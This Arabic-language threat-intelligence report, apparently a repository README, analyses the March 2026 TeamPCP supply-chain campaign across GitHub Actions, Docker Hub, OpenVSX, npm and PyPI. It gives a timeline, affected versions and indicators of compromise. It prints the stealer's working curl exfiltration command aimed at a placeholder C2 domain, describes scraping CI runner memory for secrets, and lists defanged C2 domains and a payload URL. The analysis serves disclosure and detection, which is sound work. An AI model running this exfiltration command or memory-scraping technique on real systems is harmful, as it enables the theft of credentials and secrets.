
CVE-2026-33634 (CVSS 9.4) — الهجوم الأكثر تأثيرًا على سلسلة توريد CI/CD في عام 2026 حتى الآن.
CVE-2026-33634 (CVSS 9.4) — أخطر هجوم على سلسلة توريد CI/CD في 2026 حتى الآن.
في الفترة من 19 إلى 25 مارس 2026، نفذت الجهة الفاعلة TeamPCP (المعروفة أيضًا باسم DeadCatx3 وPCPcat وShellForce وCanisterWorm) اختراقًا متسلسلًا لسلسلة التوريد عبر خمسة أنظمة بيئية: GitHub Actions وDocker Hub وOpenVSX وnpm وPyPI. بدءًا من رمز GitHub PAT واحد لم تُدار عملية تدويره بالكامل، انتشرت الحملة عبر بائعين رئيسيين لأدوات الأمان مفتوحة المصدر (Aqua Security وCheckmarx)، وأربعة مستودعات GitHub Actions، وإضافتين لـ VS Code، وسجلات حاويات، وأكثر من 66 حزمة npm.
يوفر هذا المستودع تفصيلًا تقنيًا كاملًا، وقوائم مؤشرات اختراق منقّاة (مختبرة ضد الإيجابيات الكاذبة)، واستعلامات كشف جاهزة للنشر في Microsoft Defender XDR.
| التاريخ (UTC) | الحدث |
|---|---|
| 20 فبراير 2026 | تم إنشاء حساب hackerbot-claw؛ ويبدأ بفحص المستودعات بحثًا عن سير عمل pull_request_target القابلة للاستغلال |
| 28 فبراير 2026 | أول اختراق لـ Trivy عبر طلب PWN؛ وتم استخراج بيانات الاعتماد |
| 1 مارس 2026 | تحاول Aqua Security احتواء الاختراق — تدوير بيانات الاعتماد غير مكتمل |
| 19 مارس 17:43 | الضربة الرئيسية: يدفع TeamPCP قسريًا 75/76 وسمًا في aquasecurity/trivy-action وجميع الوسوم السبعة في setup-trivy عبر حساب الخدمة المخترق aqua-bot |
| 19 مارس 18:22 | تم نشر Trivy v0.69.4 المزوّد بباب خلفي إلى GitHub Releases وDocker Hub وGHCR وECR |
| 20 مارس 05:40 | تُغلق نافذة اختراق Trivy-action (نحو 12 ساعة) |
| 20 مارس 20:45 | تم اكتشاف انتشار CanisterWorm عبر npm — تعرضت أكثر من 47 حزمة للاختراق |
| 22 مارس 20:31 | يشوّه TeamPCP جميع المستودعات الـ44 في مؤسسة aquasec-com على GitHub في دفعة برمجية مدتها دقيقتان |
| 22 مارس | تم دفع صور Docker Hub 0.69.5 و0.69.6 بنفس حمولة السارق |
| 23 مارس 02:53 | تبدأ موجة Checkmarx: نشر نسخ ضارة ast-results v2.53.0 وcx-dev-assist v1.7.0 إلى OpenVSX عبر حساب ast-phoenix |
| 23 مارس 12:58 | تم دفع جميع الوسوم الـ35 لـ Checkmarx/kics-github-action قسريًا عبر حساب cx-plugins-releases المخترق |
| 23 مارس 15:41 | تبلّغ Checkmarx عن حل مشكلة OpenVSX |
| 23 مارس 16:50 | تم إيقاف KICS GitHub Action بعد بلاغ مستخدم |
| 23 مارس 22:25 | تبلّغ Sysdig أن Checkmarx/ast-github-action v2.3.28 مخترق أيضًا |
| 24 مارس 08:30 | موجة LiteLLM: نشر litellm المُلوّث v1.82.7 وv1.82.8 إلى PyPI باستخدام بيانات اعتماد مسروقة |
| 24 مارس 11:25 | تضع PyPI إصدارات LiteLLM الضارة في العزل |
السبب الجذري: تدوير غير مكتمل لبيانات الاعتماد بعد خرق 28 فبراير. إما لم يتم إبطال رمز PAT الخاص بحساب الخدمة aqua-bot أو أن المهاجم رصد التوكن الجديد أثناء التدوير.
استخدم TeamPCP هذا الوصول المحتفظ به لدفع وسوم الإصدارات قسريًا إلى التزامات انتحالية ضارة. استنسخ كل التزام مزور البيانات الوصفية للأصلي (المؤلف، الطابع الزمني، الرسالة) مع استبدال سكربت نقطة الدخول بحمولة السارق. لم تظهر صفحة الإصدارات على GitHub أي تغيير مرئي — حتى شارة "Immutable" عُرضت بشكل طبيعي.
السارق — وهو سكربت entrypoint.sh مكون من 204 سطرًا يعرّف نفسه باسم "TeamPCP Cloud stealer" — ينفذ هجومًا من ثلاث مراحل:
المرحلة 1: استخراج البيانات من الذاكرة
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory
المرحلة 2: مسح بيانات الاعتماد في نظام الملفات
يفحص أكثر من 50 مسارًا حساسًا بما في ذلك:
~/.ssh/*)~/.npmrc).envالمرحلة 3: استخراج البيانات المشفرة
tpcp.tar.gzcurl POST إلى نطاقات محاكاة (typosquat) خاصة بالبائعtpcp-docs أو docs-tpcp في حساب GitHub الخاص بالضحية باستخدام GITHUB_TOKEN المسروقعلى أنظمة Linux غير المرتبطة بـ CI، يقوم البرنامج الخبيث بما يلي:
~/.config/sysmon/sysmon.py)مكّنت بيانات الاعتماد المسروقة من موجة Trivy من اختراق النظام البيئي لـ Checkmarx. استخدمت كل موجة جديدة نطاق C2 محاكيًا مختلفًا لتجنب قوائم الحظر من الموجة السابقة:
| الموجة | نطاق C2 | محاكاة لـ |
|---|---|---|
| Trivy | scan.aquasecurtiy[.]org | aquasecurity.org |
| Checkmarx/KICS | checkmarx[.]zone | checkmarx.com |
| LiteLLM | models.litellm[.]cloud | litellm.ai |
| المستودع | الوسوم المخترقة | نافذة التعرض (UTC) | نقطة الدخول |
|---|---|---|---|
aquasecurity/trivy-action | 75 من 76 (الآمن: 0.35.0) | Mar 19 17:43 – Mar 20 05:40 | entrypoint.sh |
aquasecurity/setup-trivy | جميع الوسوم السبعة | Mar 19 17:43 – 21:44 | action.yaml |
Checkmarx/kics-github-action | جميع الوسوم الـ35 | Mar 23 12:58 – 16:50 | setup.sh |
Checkmarx/ast-github-action | v2.3.28 (على الأرجح جميعها) | Mar 23 ~22:25+ | setup.sh |
| الإضافة | الإصدار الضار | الإصدار الآمن |
|---|---|---|
checkmarx.ast-results | 2.53.0 | >= 2.56.0 |
checkmarx.cx-dev-assist | 1.7.0 | >= 1.10.0 |
تم نشر الإضافتين بفارق 12 ثانية عند الساعة 12:53 UTC يوم 23 مارس عبر حساب ast-phoenix. عند التفعيل، يتحقق environmentAuthChecker.js من بيانات اعتماد موفّر السحابة، ثم يسحب سارق المرحلة الثانية من checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.
| الصورة | الوسوم الضارة |
|---|---|
docker.io/aquasec/trivy | 0.69.4, 0.69.5, 0.69.6 |
ghcr.io/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
public.ecr.aws/aquasecurity/trivy | 0.69.4, 0.69.5, 0.69.6 |
| الحزمة | الإصدارات | الملف المزوّد بباب خلفي |
|---|---|---|
litellm | 1.82.7, 1.82.8 | litellm/proxy/proxy_server.py |
حمولة base64 متداخلة ثلاث مرات مع مجموعة أدوات الحركة الجانبية في K8s. الثبات عبر sysmon.service الذي يستقصي checkmarx.zone/raw.
نمط استخراج البيانات متطابق عبر جميع الموجات:
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
-H "Content-Type: application/octet-stream" \
-H "X-Filename: tpcp.tar.gz" \
--data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz
استراتيجية النطاق المحاكي متعمدة: المحلل الذي يراجع سجلات CI/CD يرى حركة curl إلى ما يبدو أنه نطاق البائع الخاص بالإجراء. دون مقارنة دقيقة، يمر scan.aquasecurtiy.org على أنه aquasecurity.org في مراجعة سريعة للسجلات.
يمكن للمهاجم فقط فك تشفير البيانات المسروقة — مفتاح جلسة AES مشفر بـ RSA-OAEP باستخدام مفتاحه العام.
خلال 24 ساعة من اختراق Trivy، مكّنت رموز npm المسروقة دودة ذاتية الانتشار عبر أكثر من 66 حزمة (141 قطعة برمجية ضارة).